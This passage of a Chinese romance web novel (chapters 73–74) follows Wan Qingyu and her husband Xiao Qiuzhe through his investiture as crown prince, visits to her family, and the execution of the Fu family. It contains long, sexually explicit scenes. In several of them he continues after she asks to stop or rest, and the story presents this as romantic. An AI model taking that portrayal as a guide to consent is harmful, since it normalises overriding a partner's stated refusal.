晚青妤的脸颊贴着他,清晰地感受到了他身上的某种变化。 她的脸也倏地烧了起来,轻笑了声:“这会,倒不是背上痒了,是心里痒。” “我这伤,要是动作和幅度小点,应该不影响做吧!” 第73章 第73章“你已经是我的了。”【…… 晚青妤此言一出,萧秋折的脸霎时红透,整个人僵在原地,搭在她背上的手也凝住了。这般撩拨话语,惹得他愈发心旌摇曳,只得深深吸了口气,强自按捺道:“你的伤有些重,我们再等等。” 他如今珍视她至极,见她纤弱的身子受了这样重的伤,早已心疼得不行,哪里还舍得再伤她分毫。 萧秋折不答应,晚青妤正欲再动,却被他一把扣住腰肢:“别动。” 他嗓音微哑,掌心温度透过衣衫灼在她腰间。 晚青妤分明是存了心的。她低低一笑,伸手探入他的衣襟。 萧秋折微微仰首,扶在她腰际的手背青筋起伏,眼中春水流淌,喉结上下滚动着:“听话,再忍忍。” 原是他要她忍耐,此刻却是她不肯安分。娇躯在他怀中轻蹭,手臂紧紧缠着他的脖颈不放。这般强势作态,惹得萧秋折浑身燥热难当,掌心顺着她腰间向上轻抚。 时下,晚青妤已经解开了他单薄的轻衫,俯身在他腹间亲了一下,她这一亲,让他更是控制不住。 他伸手抬起她的下巴,眼神中满是欲、火,劝她:“待伤势痊愈,再好好的,听话。” 晚青妤见他脸颊痛红,却更是生出一股挑逗之意,缓缓自他身上爬起,指尖轻触上他的喉结,复又含住他的唇瓣。 萧秋折难耐情愫,轻喘几声,喉结一阵滚动,正欲开口,却被她用一根白嫩手指探入口中,然后撩拨他的舌。 她…… 萧秋折深吸一口气,胸膛起伏不定,轻吮她的手指,终是再难自持,搂紧她的腰身,让她紧贴自己,含糊不清地道:“怎么不听话?我实在怕伤着你。” 见他极力忍耐,她反而更加兴奋,手指在他唇齿间挑逗。萧秋折微眯双眸,热气如兰,不时勾缠她的手指。 他闻着她身上的香气,伸手轻抚她的脸颊,指尖滑落,粉色肚兜落下。 雪白莹润,温热柔软。 晚青妤忍不住轻吟一声,她感到全身酥麻,轻轻推拒道:“别……” 她刚开口,就被他咬了下。 她轻摇着头,欲抽出他口中的手指,却被他紧紧含住,随即拉她更近一些:“别躲,方才我劝你忍耐,你却不肯。如今此景,让我如何停下?” 言罢,粉色衣裙撩动。 晚青妤娇呼一声,背上传来的轻微痛楚让她欲动还休,却又贪恋这份令她沉醉的感觉,未置一词,只是紧紧抱住他,再次吻上他的唇,一只手摸向他的耳朵。 萧秋折的耳朵极为敏感,被她轻揉,更添几分难耐,问道:“究竟是继续,还是就此作罢?” 手已探入衣襟深处。 晚青妤此刻迷迷糊糊,只觉背上隐隐作痛,却又不敢妄动,更不愿这美妙时刻就此中断。她未答,只是更加深情地吻住他,仿佛要将所有情愫都融入这绵长的吻中。 萧秋折深知自己难以忍受,但又唯恐伤及她,于是强压下内心的冲动,以指腹轻柔地摩挲着,随后含住她的舌尖,深情地回应着她的吻。 他的吻愈发深沉,仿佛要将她整个人融入自己的身体里。起初,他仅以指腹轻揉,渐渐地,深入些许,晚青妤感受到了前所未有的触感,身子不由自主地僵了一下,紧紧地抓着他的肩头。 萧秋折伏在她的耳畔,轻吻了一下她的耳垂,温声道:“既然忍不了,今日我便先小小地满足你一下。” 言罢,他再次吻上她的唇,动了动手指,又入了几分。晚青妤轻呼一声,微喘着气,想要退缩,试图推开他的手臂,但萧秋折却紧紧抱住她不松手。 晚青妤浑身开始发烫,蜷缩在他的颈窝里,同样喘着气,她的指尖随着他的动作越收越紧,渐渐地掐入了他的皮肉里。 屋内,轻吟声伴随着暧昧的气息愈发浓郁。今夜月色皎洁,白日虽有些许燥热,但夜幕降临后,凉风习习,甚是宜人。 假山下,荷花亭亭玉立,荷叶上的水珠滴落在下方的水洼里,发出滴滴答答的声响。微风吹过,荷叶摇曳生姿,水珠尽数洒落,顺着水洼里的水缓缓流淌,最终汇入假山下的池塘中。 一阵情动之后,晚青妤浑身一颤,双手紧握住萧秋折的手,身子紧绷了片刻,随后渐渐放松下来,满头大汗地趴在他的怀中,瞬间感到无比的舒畅。 萧秋折望着她红彤彤的脸颊和喘息的模样,不禁轻笑。 晚青妤听到他的笑声,害羞地将脸埋在他的怀中,不敢 让他看见自己。这种感觉太好了。 萧秋折抱着她,让她稍作喘息,随后缓缓将她放在床边,为她盖上被子。他走到水盆前净了手,又出门吩咐外面的玉儿取来一套新被褥。 换好被褥后,晚青妤的脸颊依然泛着红晕,始终不敢正视他。萧秋折只是轻笑,随后脱掉两人的衣衫,搂着她钻入被窝,从身后轻轻抱着她。她的身体依旧散发着淡淡的香气,香香软软的。 晚青妤依偎在他的怀中,过了许久才平复下来,闻着他身上的竹叶清香,渐渐入了梦乡。 次日清晨,晚青妤早早醒来,本以为自己已是最早,却发现萧秋折比她起得更早。此刻,他正在整理衣衫,准备迎接今日的皇上登基册封大典。 这是他和父亲的重要日子,整个亲王府上下都将进宫行礼。 但因晚青妤身上的伤势不宜挪动,萧秋折便恳请父亲允许她不必参加此次册封大典。 晚青妤心中虽有万般渴望,想亲眼见证自己的夫君登上太子之位,但她深知自己的伤势可能会给他带来麻烦,只能怀揣着这份期待,无奈留在家中。 萧秋折整理着衣衫,见她醒来,走上前问道:“怎么样?这一晚上伤口可还疼痛?” 晚青妤扯住他的衣袖,轻笑道:“不疼,一点都不疼。” 她仔细端详着他,只见他今日精神焕发,眼神闪烁,显然对今日的事情很是重视,她道:“今日很抱歉,我不能随你前去,但我真的很想看你被封为太子的样子。” 萧秋折揉揉她的脑袋:“没关系,以后夫君天天都在你身边,自然会让你看个够。” 晚青妤嘿嘿一笑,探头在他脸上亲了一口:“我今天等着你。” “好。” 新皇登基是一件极其隆重而庄严的事情,对整个国家上下而言,都是一件值得重视的大事。不仅皇宫内外跪了一地,就连整个京城的老百姓也都纷纷停下手中的活计,静待着。 时辰已到,金銮殿外阶下百官伏地,玉笏抵额,三跪九叩。最后一记钟声散尽时,新帝已端正旒珠,将玉玺重重按在明黄的诏书上。 新皇登基之后,便是太子册封大典。萧秋折身着一身太子锦服,走上前去,先是给父皇叩拜行礼。随后,太监宣读册封太子诏书,自此以后,萧秋折便成为了当今太子,奕国的储君。 册封大典持续了约两三个时辰,礼毕之后,新皇大赦天下,广施恩泽于百姓,这一日无疑是奕国上下最为欢庆的日子。 月余之后,晚青妤在萧秋折的精心照料下,身体已大为好转。他为了让晚青妤安心调养,并未立即携她入住太子殿,而是决定先在此处静养,待她彻底痊愈后,再以八抬大轿迎娶至太子府中。 时值七月,酷暑难耐,院中树木葱郁,却仍难驱散周遭的热气。房中置放诸多冰块,稍感凉爽。 这段时日,萧秋折政务繁忙,与父亲一同稳固朝中局势。即便如此,他亦不忘归家,因心中挂念晚青妤,希望每日陪着她。 今夜,天气难得凉爽些许。晚青妤坐于院中,品尝着萧秋折特意为她购来的荔枝。荔枝香甜可口,她特别爱吃。 她一边剥壳吃着,一边目光不时望向院门,心中甚是思念萧秋折。自午后起,她便坐于门前等候,直至夜深人静,只盼他能快点回来。 月上中天时,萧秋折匆匆归来。他步入院中,见晚青妤仍坐在门前等候,快步上前问道:“怎么还没睡?” 晚青妤迎上前去,握住他的手,笑道:“今日太过想你了,睡不着。” 萧秋折与她十指相扣,问道:“你的伤势如何?可有不适?” 晚青妤拉着他往膳厅里走,边走边道:“我感觉基本痊愈了,也不觉得疼了。” 萧秋折心中稍安,道:“太子府那边我已打点妥当,只待你觉得完全康复,我们便搬进去。” “也好,你最近事务繁忙,总是这般来回奔波,我实在是心疼。我也想陪在你身边,为你分担些许。” 她的话语总是如此悦耳动听,让萧秋折心中的疲惫瞬间消散无踪。 餐后,萧秋折准备沐浴更衣,晚青妤见他取衣,也拿了一件:“我还没洗呢。” “一起。” 萧秋折拉着她到了浴房,房中洗澡水早已备好,花瓣漂浮其上,香气袭人。 萧秋折见状,眼中闪过惊喜:“这是你准备的吗?” 晚青妤点头,脸颊愈发红润。她一整天都怀揣着这份小心思,期盼着他早日回来,却没想到一直等到现在。 萧秋折摸了摸发热的耳朵,将她扯入怀中,低声问:“今天,应该没问题了吧?” 这么久了,大夫也说恢复的很好。 他强忍了一个多月。 晚青妤双臂环绕住他的脖颈,笑回道:“完全没问题了。” 这一个多月以来,她也如同热锅上的蚂蚁,焦急万分,虽日日相依,却不敢有多大动静,生怕伤到她的伤口。 她今日满心欢喜地准备了这一切,让他激动难抑,一把将她抱起,放在一旁的桌子上。 他把她的秀发简单地挽起一个发髻,望着她那双渴望的眼睛,俯身下来,捏住她的下巴,轻轻亲了上去。 今日,终于不用再克制了。 晚青妤热烈地回应着他的吻,同时拉扯着他的衣裳。衣裳一件件滑落,露出他结实的胸膛。她看了一眼,心脏砰砰直跳,然后紧紧抱住他,脸颊在他胸口轻轻摩挲。 萧秋折任由她在胸前蹭着,待她蹭够了,便抓住她的双腿,将她紧紧贴在自己身上。一只手轻抚着她的脖颈,另一只手则轻柔地揉捏着她柔软的肌肤。 晚青妤被揉得情难自禁,伸手去抓他的手腕,却被他反扣住。他松开她,蹲下身来。她双手撑在桌子上,一头乌黑秀发如瀑布般垂落。当他靠近时,她只觉浑身一颤,随后是一种温软而酥痒的感觉。 她去推他的脑袋,有些支撑不住,喘着气说道:“我不行……你换个地方。” 萧秋折不动。 他的唇温热柔软,舌尖更加绵柔,挑逗得她唇边湿润,口中黏腻燥热,她不自觉地张开唇,试图缓解这份炙热,同时继续推搡着他埋进来的脑袋。 他半跪于地,紧紧握着她的双手,让她再也无法推开。 他愈发肆意地亲吻着,晚青妤在他的攻势下,彻底陷入进去,仰起脖颈,只觉一阵颤栗席卷全身,心与身皆屈服于他。 她闭上眼,伸手去摸索他,情难自禁地低吟了一声“快”。 她已经受不了了。 房间里,热切的气息与花瓣的芬芳交织在一起,使得满室的暧昧氛围愈发浓厚。 萧秋折将她从桌上轻轻抱起,放置于柔软的地毯之上。她尚未躺稳,他便已俯身压了下来,他身形高大,将她紧紧拥入怀中,她宛如一只柔弱的兔子,依偎在他的怀里。 “萧秋折,我有点紧张。”晚青妤声音中带着紧张与羞涩,却又忍不住去亲吻他。 萧秋折一手托着她的背,一手撑地,回吻她道:“闭上眼睛。” 晚青妤听话地闭上了眼睛,却又忍不住偷偷睁开。萧秋折用手掌轻轻覆盖住她的眼眸,轻柔地揉捏着她的脖颈。 她的身体又滚烫又柔软,额头上布满了细密的汗珠,张开的唇呼出的气息也很炽热,她蜷缩着双腿,很紧张。 萧秋折轻声哄道:“乖,听话,把腿放下来。” 晚青妤依言轻轻放下双腿,但仍是紧张。为了缓解这份紧张,她紧紧地搂着他的脖子,去亲吻他。萧秋折揉着她的秀发,暂时离开她的唇,换了个位置亲。 晚青妤微微仰头,只觉胸前一片炙热,有些受不住,肩膀也在轻颤。 舌尖轻触之后,便是深深的吸吮。 晚青妤轻吟一声,已是完全受不住了,只觉头脑昏沉,一片空白,身子亦轻飘飘的,整个人瘫软下来。 起初两人相触时,皆是微微一震。萧秋折的喉结不住滚动,眼中春色满溢。 他捧起她的脸颊,轻声叫她。晚青妤闻言,轻哼一声,缩了缩身子。 或许因二人皆经验不足,萧秋折亦显得有些紧张,一遍遍地安抚她。 他在她耳边低语,让她放松,然他越是如此说,晚青妤越是紧张。她一紧张,浑身便紧绷起来,这让他更是难以进一步。 她微微睁眼看他,只见他脸上布满汗珠,脸颊绯红,眼中满是难以言说的欲、色。 二人对视一眼,气氛突然变得微妙起来。萧秋折连忙捂住她的眼睛,低头亲吻她,渐渐地,她放松了下来,他这才得以更进一步。 只是二人体型本就悬殊,而这方面亦似有极大差距,超乎晚青妤的想象。她只觉全身被占满,有些承受不住,去抓他的手臂。 她的指甲虽不尖锐,却也深深嵌入他的皮肉。他一边哄着她,一边索取更多。 起初动作尚算轻柔,渐渐地,便成了晚青妤难以承受的尺度。 他感受到她的颤抖,激动地吻上她的眼睛,不敢让她与自己对视。 “萧秋折,我好喜欢,好喜欢。” 他应着,双手轻抚她的脸颊,见她难以忍受地咬住了下唇,便将手指放到她的唇边。她张开口,含住了他的手指,轻咬着指腹,以缓解激动的情绪。 他的每一次动作,皆是他难以承受的力度。 他似乎比她想象的更为厉害,而她这小小的身子,当真是有些受不住。每当他动作稍重,她便会使劲地咬一下他的手指。 起初,摩擦带来的微微疼痛,让晚青妤有些不适,但渐渐地,她仿佛飘然起来,紧抓着他,又不舍得他片刻离开。 他将她抱起,抵在旁边的墙壁上,开始亲吻她。她踮起脚尖,仰着头,双手紧紧搂着他的脖子。他越吻越激动,抓起她的一条腿,往墙壁上抵了一下。她惊呼一声,因太过突然,不禁咬住了嘴唇。 萧秋折又将她托起,让她更舒适一些。她眯着眼睛,迷迷糊糊地,一边被他亲吻着,一边回应着他的索取。 当她感觉自己实在无法承受,准备逃跑时,他突然抱着她,一同跳进了浴池里。 浴池上热气袅袅,花瓣在水中飘飘荡荡。 晚青妤刚进入浴池,一时间还有些不适应。她的一只手紧紧抓着萧秋折,秀发因水汽而湿润,水没过胸口,让她觉得有些喘不过气来,但腿上却轻飘飘的,这种感觉既微妙又令她激动。 花瓣贴在她的胸口上,他低头含起一片,送到她唇边,她接过花瓣,只觉满口都是花瓣的清香,喘着气,目光迷离地看着他。 他的脸颊湿漉漉的泛着红晕,嘴唇如女子般娇艳欲滴,实在勾人。 他亲着她,把她按入水中,她只觉全身酥麻,仿佛被温柔的水波紧紧包裹,脑袋晕晕乎乎,整个人似要飘然离去,而那难以言喻的渴望却又让她感到前所未有的快感。 花瓣儿在水中悠然飘荡,时而急促,时而缓慢,每一次起伏都让晚青妤忍不住轻吟。 他抱着她翻身,让她趴在自己的身上,她全身湿透,秀发如瀑布般散落,水珠沿着脸颊滑落,平添了几分妩媚。 他望着她,难耐地俯下身亲吻她,随后又将她按入水中,她只觉兴奋激动,有些沉醉于这份奇妙的快感。 他拖着她将她从水中捞起,让她趴在自己胸膛上喘息,身上的水珠滴滴落在他的肌肤上。 她轻喘着,尚未缓过神来,又被他吻上。他不给她丝毫喘息的机会,她推搡着他,喘息着说:“不行了,我有点受不住了。” 但他却紧扣着她的手腕:“这才刚开始,怎么就不行了?” 刚开始…… 她刚想开口,又被她吻着按入水中,如此反复两三次后,她只觉身上被刺激得难以自持,终是紧紧抱住他,开始主动起来。 起初,她略显生涩,每一次触碰都会让她脸颊绯红。他深情地凝视着她,眼中满是爱意,忍不住又去亲吻她的唇,随后一只手轻轻地抚上她的背脊。她轻哼一声,伸手抓住他的脖颈,却不小心抓出一道血痕。他完全沉浸在这份爱意中,丝毫没有感觉到疼。 他揽着她从浴池中起身,将她抵靠在一旁的柱子上。她终是承受不住,软软地倒在地上,他又把她捞起,再次拥着她在软毯上一阵缠绵。 晚青妤全然被他所占据,除了快感,几乎失去了所有知觉。 一阵情动后,他紧紧捧着她的脸颊,仰了下脖颈,额上与手臂的青筋脸颊暴起,身体猛然紧绷片刻,随后缓缓放松下来,最终趴在了她的怀中。 她亦如置身云端,浑身轻轻一颤,逐渐平息下来。两人皆软绵绵地躺在毯子上,良久才得以缓和。 晚青妤刚觉身上恢复些许力气,欲起身奔入浴池清洗,尚未爬起,又被萧秋折一把拽回怀中:“还要。” 晚青妤身上的热潮刚退,瞬间又热了起来,她求饶道:“我不行了,我们明天再继续,好不好?” 然萧秋折却紧抓着她的腿,不肯松开。 未等她再拒绝,他已经俯身亲了上来。 “晚青妤,你已经是我的了。” 这一夜,萧秋折真真切切地让晚青妤体会到了何为满足,何为欲罢不能。 两人折腾了一宿,次日醒来,萧秋折精神依旧饱满,眉眼间总带着笑意。 晚青妤睡眼惺忪地望着他,问道:“今日要上朝吗?” 他应了一声,将她往怀里搂了搂,瞥见她手臂与手腕上的淤青,想必是昨夜自己不慎所致,他轻轻揉了揉,问道:“疼吗?” 晚青妤看了看他胸前被自己抓出的血痕,笑道:“还好吧,估计没你的疼。” 萧秋折低头望了眼自己的胸口,又抱着她翻了个身,捧着她的脸,凝视片刻,道:“走之前,再来一次。” 还来? 晚青妤缩了缩身子,摇了摇头。 萧秋折抚了抚她的额头,柔声道:“乖,听话,就一次。” 晚青妤往外推他:“你不是要去上朝吗?别耽误了时间。” “耽误不了多少时间。” 晚青妤的脸庞再度绯红,急忙扯起被子埋头欲躲,却又被他拽出。 两人一番情动之后,萧秋折终是满足,这才起身穿衣,前往皇宫。 今日他的心情格外地好,一路上眼中的笑意未曾消散过,还时不时地发出低低的笑声。 方奇跟在他身旁,难得见他如此开怀,目光落在他脖子上的血痕上,不禁说道:“这挠得挺深的,要不要给您上点药?” 方奇见他开心成这样,想打趣几句,却又不敢。 萧秋折伸手摸了摸,未置可否,反而笑了笑。他这般笑,让方奇略感不适,跟随他这么多年,可从未见他这样开心过。 朝会散后,萧秋折被萧敖单独叫到大殿里。 父子俩坐在房中,气氛似乎与以往有所不同,既非沉重,亦非尴尬,难以言喻。 如今萧敖已登基为帝,气质与威严较往昔有所不同,然而对待萧秋折却依旧如前,甚至更添几分温和。 他目光落在萧秋折脖子上的伤痕处,问道:“你们准备何时搬至太子殿?你如今身为太子,总住在亲王府中亦非长久之 计,况且你事务繁忙,两头奔波亦是不便。” 自萧秋折踏入大殿之时,便已料到父亲会提及此事。他恭敬回道:“回父皇,之前因晚青妤身体欠佳,我担心他初入皇宫住不惯,故而让她在亲王府中多休养了些时日。如今她身体已基本康复,我正筹备着近日将他接至太子殿。不过在此之前,我还想与他再办一场婚礼,以示郑重。” 婚礼?萧敖言闻言略显讶异,只见萧秋折解释道:“当年我迎娶她之时,因诸事匆忙,几乎是以利益交换的形式草草成亲。虽那确是我的本意,但终究太过仓促。如今,我欲与她正式地再行一次大礼,将她风风光光地娶进太子殿。此事于我而言,意义非凡,这些日子我正筹备着,也欲向父皇禀明。” “晚青妤身世我已经听说了,想取血验亲倒也容易,不如……”突然道。 “父皇。”萧秋折知晓他要说什么,急忙打断他:“晚青妤已是我的人,此事不必再提了,滴血验亲已毫无意义。” 萧敖闻言微微一愣,沉吟片刻,目光又落在他脖子上的血痕处,神色复杂。他心知此事非同小可,毕竟萧秋折的身份已今非昔比。然而,他亦清楚这二人历经诸多波折方得今日,自己亦非墨守成规之人。 最终,他叹道:“也罢,此事你二人自行斟酌,朕不会横加干涉。只是你需将此事封锁得严密些,莫要日后生出什么麻烦来。” 萧秋折见父亲应允,急忙回道:“父皇所言极是,儿臣知晓如何处理。” 萧敖帝应了一声,默了片刻,道:“关于我与你母亲曾经那些事,以及外界对你身世的流言蜚语,过几日我会找个时间与你言明。” 父亲终于愿意说了,可是萧秋折心情却很复杂。他应了一声便离开了。 萧秋折离开皇宫后,急匆匆地赶回了亲王府。刚踏入兰风居,便见晚青妤正坐在院中吃着西瓜。 时值盛夏,天气炎热,她身着淡粉色轻衫,坐于大树之下,一口一口地咬着西瓜,模样清丽脱俗,让人看着好生喜欢。 晚青妤见他回来,急忙起身相迎,笑靥如花地问道:“今日怎地回来这么早?” 萧秋折接过她手中的西瓜,咬了一口,笑回道:“今日事务不多,便提前回来了。” 说着,他牵起她的手,向屋内走去。 晚青妤边走边问:“饿不饿?可要用饭?” 萧秋折未答,只是拉着她进了房间。 刚一进屋,他便将房门关上,而后把她扯进怀中抵在房门上,目光炽热地盯着她水红的嘴唇:“先来一次,我这一日满脑子里都是你。” 第74章 第74章“缓一会再继续。”【甜…… 自晚青妤与萧秋折有了初次云雨之后,晚青妤的心境便发生了翻天覆地的变化。整日里,无论是用餐、阅读、漫步,乃至做任何琐事,她的思绪总不由自主地飘向他。 这初次品味的情愫,令她心生欢喜,自以为乃是春心初绽,暗自揣摩,殊不知萧秋折亦是如此,一整日心心念念,满心满脑子里皆是她的身影。 他这刚一归家,看到她就心生悸动,情、欲汹涌而来。 她踮起脚尖,仰首凝望他,见他眼中满是柔情与渴望,不由自主地抬起手,轻抚他的脸颊,向前倾身在他唇上印下一吻。 萧秋折感受到她的回应,心中激情再难抑制,手掌钳制住她的小脸一阵索吻。 时值盛夏,天气炎热,晚青妤身着轻薄纱衣,显得格外轻盈。薄纱被萧秋折拢起,露出润白的香肩。 她娇羞地仰着脸,努力踮着脚尖,深情地回应着他的热吻,一只手已经探入他衣襟中,轻抚着他的胸膛。 他勾着她的舌,她含糊不清地低唤了一声“萧秋折”,声音轻柔细腻,直击他的心田,让他更加情动。 他缓缓俯身,她不由自主地后仰,一头青丝垂落,身上的轻纱也随之滑落一地。 今日的他似乎较昨日霸道些许,吻得既深又热烈,几乎要在她每一寸肌肤上都留下自己的吻,浑身也开始滚烫的不行。 晚青妤浑身酥麻,软绵绵地倚靠在门前,几乎失去了所有力气,身上血液烧得酥麻。 萧秋折拉起她的手往自己跟前扯,白色衣衫掀动,激吻间,晚青妤感觉手上一阵温热,难以言喻的感觉从指尖传遍全身。她本能地缩了缩手,却又被他紧紧扣住手腕,迫使她握住手掌。 她的手小巧白皙,手中的触感,让她不可置信地睁开了眼睛,比她想象的厉害的多。 这一触碰,让她的心情更加激荡,燥热难耐,心中对他的渴望愈发强烈。他见她双唇微张,情难自禁,扯了扯她的手臂,示意她快些。 晚青妤红着脸,一边回应着他的吻一边动着,起初动作略显生疏,渐渐地熟练了些,只觉自己的手在他身上显得愈发娇小。 夏日里蝉鸣声起伏,无风的傍晚葱郁树叶格外安静,屋里屋外都是闷热的。 滚烫的身体贴在一起,更是香汗直流。 萧秋折一边吻着,一边抱着她走到桌前的凳子上坐下。他按了按她的脑袋,让她靠在自己腿边。 晚青妤半跪在地上,抬头望向他,只见低视的眼眸中尽是春日荡漾和满溢的侵略性。他轻呼着她的名字,随后将她按在自己的腿间。 晚青妤此刻头脑晕晕乎乎一片空白,只觉身体轻飘飘的,满是情动后的渴望。 他又按了按她的脑袋,她微微张开被他亲得水红的唇,口中热气一落上来,他的身子不由地一颤。 屋中还没有掌灯,昏暗的光线下,他俊朗的脸此刻通红炙热,长睫上已经挂起一层细密汗珠。 轻吮慢含。 口中的羞涩让晚青妤心中生出一种前所未有的快感。 他身上是淡淡的竹叶香气,双腿紧绷时甚是好看,就连手背上凸起的脉络也让她喜欢。 屋中的香薰烧的香浓,让暧昧的氛围愈发浓厚。夏日炎炎,即便室内放置许多冰块,两人情动之时,汗水仍涔涔而下。 晚青妤额头上布满汗珠,一只手紧紧抓着萧秋折的手指,她今日特意修剪了指甲,即便紧抓着他也不会再掐入皮肉里。 而他的一手按着她的脑袋,另一手紧握着她的手臂,颈部微微扬起,喘息声与她的交织在一起,已经到了情、欲顶点边缘。 晚青妤趴的累了,欲要撤身,却被他猛然按住脑袋,无法动弹。她愣了愣,只觉口中一阵温热,而后僵挺住没敢动。待她再抬头望去,只见他脸颊绯红,紧锁的眉头也渐渐舒展。 他缓了会,缓缓抽身,伸手取过一旁的帕子。晚青妤趴在他腿上,脸红的像个柿子,羞得不敢看他。 萧秋折见她这副呆萌模样,满眼都是笑意,拿着帕子擦了擦她的嘴角,扶起她揽在怀里。 她本以为情事已毕,却不料他又将她翻转过来,从身后抱住她。 她趴在桌子上,口中仍有黏腻之感,轻呼出的气息中似乎还带着一丝淡淡的青叶香 。 陌生的角度让她有点不适应,一只手紧抓着桌角。好像每次尝试都让她心潮起伏,激动难抑。 冰盆边缘的水珠滴滴答答地落在桌子上,润湿了一大片。她的汗水自额头滑落,滴落在桌子上的书本上,也浸湿了纸张。 浑身滚烫,几近达到顶点。 细微饿声响让她面红耳赤。 他趁她迷迷糊糊之际,将她翻身按在桌面上,随后从旁边的冰盆中取出一块冰,轻放在口中。 冰凉的水珠滴在她的唇瓣上,她顿觉一股冰凉,心中也涌起一股想要更多的渴望,抬头欲含住他口中的冰块,却被他故意避开。 她轻吟一声,表达了渴求,倾身去追他,可他故意躲避就是不给,引得她伸手搂住他的脖颈,轻喊一声“夫君”,他这才将冰块送入她口中。 含住冰块的一刻,她瞬间感到口中一片冰凉,全身的燥热也随之减退许多。两人唇齿相依,口中冰冰凉凉。他又将她抱起,走向一旁的床榻,榻上铺着质地上好的冰丝被褥,触感冰凉宜人。 晚青妤身上热度减退一些后,神志清醒了许多。她扯了扯冰凉的被子,想要钻进去休息,却被萧秋折又拽了出来:“这才刚开始,怎么又躲?” 又是刚开始。 晚青妤温热眸光望着他,请求道:“缓一会,缓一会再继续。” 可他哪等得了,不答应,拥着她将她抵在墙角,扯开她的腿。 他俯身而下,满头黑发垂落在她雪白的腿上,黑白分明,分外显眼。她后背紧贴着墙壁,试图推开他的脑袋,但他却不肯离开,一只手按住她纤细的腰肢,不让她动。 温暖的触感让晚青妤不禁缩了缩腿,他又用另一只手按住,她终是再也动弹不得,在一阵撩拨下也屈软下来。 先是轻柔地亲吻着,随后舌尖轻卷,带起一阵阵酥麻,让她不禁轻轻颤动。 冰盆边沿上的水珠滴滴答答落在桌子上。 激情涌动,晚青妤身上的汗水伴随着春水,缓缓流淌而下,身子也紧绷了一会,才缓缓放松。 她推了推萧秋折的脑袋,示意他起身,而后整个人无力地摊在了床上。还未等缓口气,他又将她捞起,紧紧拥入怀里。 这一次,没有上次磨得难耐,彻底勾起了她的欲、望,在他的深情亲吻之下,她渐渐享受到了难以承受却又不断渴求的快感。 又是很长时间,萧秋折才停下来,他起身抱着她去沐浴,回来后便搂着她睡去。 次日清晨,晚青妤醒来时,萧秋折已经起身去上朝了。她深知萧秋折如今身份不同以往,公务繁忙,且住在亲王府中,来回奔波颇为不便。 即便如此,但他依旧贴心,离开时特意让人为她剥了荔枝,切了西瓜,还准备了一件他喜欢的绣着海棠花的粉色衣衫。 晚青妤今日心情格外地好,起身洗漱后,坐在镜子前看着自己总是不禁泛红的脸颊。 这几日她变得有点不一样了,满眼里都是笑意和温柔,只要一想起萧秋折,脸颊就红。 玉儿站在她身后,细心地为她梳理着秀发。见她不时轻抚一下脸,眉眼间还洋溢着笑意,忍不住抿嘴轻笑,道:“能亲眼见着小姐心愿得偿,与姑爷如此恩爱甜蜜,玉儿心中亦是欢喜不已。你们二人历经诸多波折,方有今日,实属不易。更难得的是,姑爷是个长情之人。如今啊,我只盼着你们能早日添个孩子,让我也抱抱小娃娃呢。” 玉儿面上春风满面,似乎对爱情充满了向往。 晚青妤闻言轻笑,望了望镜中映出的她,打趣道:“那我且问你,若让你在方奇与方于之间选一个,你会选谁?” 玉儿一听这话,脸颊瞬间红了,嗔道:“小姐,您莫要打趣我。我还想着一辈子陪在您身边呢。” 晚青妤见她羞赧的模样,更是笑得欢畅,道:“我瞧着你对方于怕是多几分情愫吧。那方于憨厚老实,对你又一片赤诚,若你们有意,你们的婚事,我自当为你们尽心操办,如何?” 玉儿自幼便跟随晚青妤,这些年风风雨雨,始终不离不弃,尽心尽力地侍奉着。晚青妤对她,亦是视如亲妹。如今,她的生活渐趋安稳,玉儿的年纪也不小了,是时候考虑婚嫁了。她不愿玉儿再为她操劳一生,希望她能享受常人的天伦之乐。 玉儿心中自然明白,小姐是最疼她的。她亦渴望拥有一段美满的情缘,遂嘿嘿一笑,道:“小姐说的是,方于确实是个会过日子的人。不过嘛,我又觉得方齐更为英勇,气质出众,且聪慧过人,能文能武,实为难得之才。” 晚青妤打趣道:“如此说来,那不如两个都要了?” 玉儿连忙摆手:“这可万万使不得,一个便足够了。” 晚青妤笑道:“既如此,待我们搬入太子殿后,我便着手为你们筹办婚事。回头我让萧秋折去问问方于的意见,看看把府邸安排到何处。” 玉儿道:“不必问他,直接操办便是,他向来听我的。” 玉儿聪慧且有主见,晚青妤深知她必能搞定方于。 二人行至门外,晚青妤道:“用过早膳后,咱们去一趟晚府。现下外祖母住在我们府上,她老人家身体微恙,我想去探望一番。再者,我也想看看二哥近况如何。” 玉儿应声道:“好的,小姐。待会儿我去唤方于备好马车,用完饭咱们便出发。” 今日天气尚算凉爽,晚青妤用完膳后,便坐上马车,沿途挑选了些礼品,随后便去了晚府。 娘亲与嫂嫂见她来,急忙迎上前去。娘亲细细打量着他,见她精神较往日好了许多,终是放下心来,遂问道:“萧秋折可是公务繁忙,怎么没与你一同前来?我特地炸了些小花鱼,还做了些肉丸子,正等着他过来尝尝呢。这几日我闲来无事,给你们二人各绣了一个荷包。荷包里放了些花瓣与驱虫之物,夏日里带着,会方便许多。” 乔言向来是个体贴的人,如今晚青妤和萧秋折感情甚好,她也跟着开心。 晚青妤挽住娘亲胳膊,笑道:“多谢娘亲。待他忙完,我定会让他过来好好尝尝您的手艺。” 此时,晚青禾推着轮椅过来。他近来心情大好,身体亦恢复得不错,已经开始尝试站立。他见妹妹独自前来,便问:“妹夫怎的没来?我还等着与他喝几杯呢。” 现在全家人都喜欢萧秋折,她每次来,家人都要追着问他的情况。 晚青妤笑回道:“他最近有点忙,二哥莫急,日后你们有的是机会。四弟呢?他近日可好?” 萧秋折给晚青桁在身边安排了一个职务,手把手地教他些学问与为官之道。晚青桁聪慧,有了萧秋折的提携,相信很快就能在朝中站稳。 晚青禾回道:“最近正跟着刑部忙付家之事,一大早便出去了。” 提及付家,晚青妤沉默片刻,本不想多问,却终是忍不住问道:“你们可知皇家最终如何处置的他们?” 晚青禾看了一眼她的神色,回道:“明日便要问斩了,全家无一幸免。” 无一幸免。 晚青妤早已料到会有此结果,只是乍一听闻,心中仍有些惊。她想起那日被付钰书挟持时,当时付钰书离去后,萧秋折曾派人追他,至于是否追上以及追上后将他囚禁于何处,她并不知晓,也未曾向萧秋折询问过。 此番付家上下难逃一死,那付钰书恐怕亦是难逃此劫。 回想起年少时,他们一群人,还在外祖母家的枣树上摘枣子。那时,陆临与晚青桁攀上树梢摘枣,付钰书与晚青禾则在下方用衣襟接枣,而张攸年则负责端来水盆,为他们清洗枣子。 那时候的天气总是那么好,天空也总是那么蓝。 年少时的光景也总是那般美好,可是结局却令人唏嘘。 但是这样的结果又似冥冥之中早已经注定的。人生在世,大抵如此,天道昭彰,若有歪念滋生,终将难 逃恶果。 